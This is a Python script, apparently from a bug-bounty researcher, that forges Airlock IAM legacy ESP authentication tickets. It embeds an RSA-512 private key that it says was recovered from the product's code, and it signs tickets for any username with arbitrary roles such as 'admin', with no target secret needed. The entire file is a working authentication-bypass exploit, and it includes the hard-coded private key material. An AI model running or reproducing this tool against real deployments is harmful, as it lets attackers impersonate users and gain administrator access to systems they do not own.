#!/usr/bin/env python3
# Airlock IAM legacy ESP ticket offline signer.
#
# Usage examples:
#   python3 esp-ticket-forge.py --username bugbounty-dwbzn \
#     --role admin --role administrator --extra Identifier=bugbounty-dwbzn
#   python3 esp-ticket-forge.py --raw-cleartext 'userids:eServiceUser=x;roles:admin;' \
#     --expiry-ms 1794440000000 --output ticket.txt
#
# The RSA-512 private exponent below is product-wide legacy material embedded in
# Airlock IAM EspSignTicketEncoder code. The exact implementation was recovered
# from Airlock IAM 8.6.1 in a researcher-owned trial; see retained source set
# product/airlock-iam/8.6.1. No target secret is required.
import argparse, base64, hashlib, time
from collections import OrderedDict
from pathlib import Path
from urllib.parse import quote

N = int('ca9826ba06d8381081e408714dea920103b1399d8e1fa2abc28c2b9227e4e425159027a07b82e5202db2045d8d75fb37df5d4ac52e8fe8370a659ff14e615f1b', 16)
E = 65537
D = int('4879b7d8f2dbe4ea9add0ddc22c898a4be42675f22d9d462e7bd275528ea6c66e8dc297f31aba17c85e9ac83931325c24e6bee9a98042306de948acfcfa65cb1', 16)
SHA1_DIGEST_INFO = bytes.fromhex('3021300906052b0e03021a05000414')

def enc(s: str) -> str:
    return quote(s, safe='', encoding='utf-8', errors='strict')

def emsa_sha1(message: bytes) -> bytes:
    di = SHA1_DIGEST_INFO + hashlib.sha1(message).digest()
    return b'\x00\x01' + b'\xff' * (64 - len(di) - 3) + b'\x00' + di

def sign_cleartext(cleartext: str, expiry_ms: int) -> str:
    clear = cleartext.encode('iso-8859-1', 'strict')
    message = clear + expiry_ms.to_bytes(8, 'big')
    sig = pow(int.from_bytes(emsa_sha1(message), 'big'), D, N).to_bytes(64, 'big')
    return base64.b64encode(b'\x01' + sig + message).decode()

def build_cleartext(a) -> str:
    userids = [('eServiceUser', a.username)]
    for k, v in [('EAAS_GSID', a.gsid), ('AUTH_METHOD', a.auth_method), ('DISTINGUISHED_NAME', a.dn)]:
        if v is not None: userids.append((k, v))
    cs = 'userids:' + ','.join(f'{enc(k)}={enc(v)}' for k, v in userids) + ';roles:'
    if a.role_mode == 'encoded-list':
        cs += enc(','.join(a.role))
    else:
        cs += ','.join(enc(v) for v in a.role)
    cs += ';'
    extras = OrderedDict()
    for item in a.extra:
        if '=' not in item: raise SystemExit(f'invalid --extra {item!r}; expected key=value')
        k, v = item.split('=', 1); extras.setdefault(k, []).append(v)
    for k, vals in extras.items(): cs += enc(k) + '=' + ','.join(enc(v) for v in vals) + ';'
    return cs

def main():
    p=argparse.ArgumentParser()
    p.add_argument('--username', default='bugbounty-dwbzn')
    p.add_argument('--role', action='append', default=[])
    p.add_argument('--extra', action='append', default=[])
    p.add_argument('--gsid'); p.add_argument('--auth-method'); p.add_argument('--dn')
    p.add_argument('--role-mode', choices=['separate','encoded-list'], default='separate')
    p.add_argument('--raw-cleartext')
    p.add_argument('--expiry-ms', type=int)
    p.add_argument('--validity-seconds', type=int, default=28800)
    p.add_argument('--output'); p.add_argument('--show-cleartext', action='store_true')
    a=p.parse_args(); clear=a.raw_cleartext if a.raw_cleartext is not None else build_cleartext(a)
    expiry=a.expiry_ms if a.expiry_ms is not None else int(time.time()*1000)+a.validity_seconds*1000
    ticket=sign_cleartext(clear, expiry)
    if a.output: Path(a.output).write_text(ticket)
    else: print(ticket)
    if a.show_cleartext: print(f'cleartext={clear}', file=__import__('sys').stderr); print(f'expiry_ms={expiry}', file=__import__('sys').stderr)
if __name__=='__main__': main()
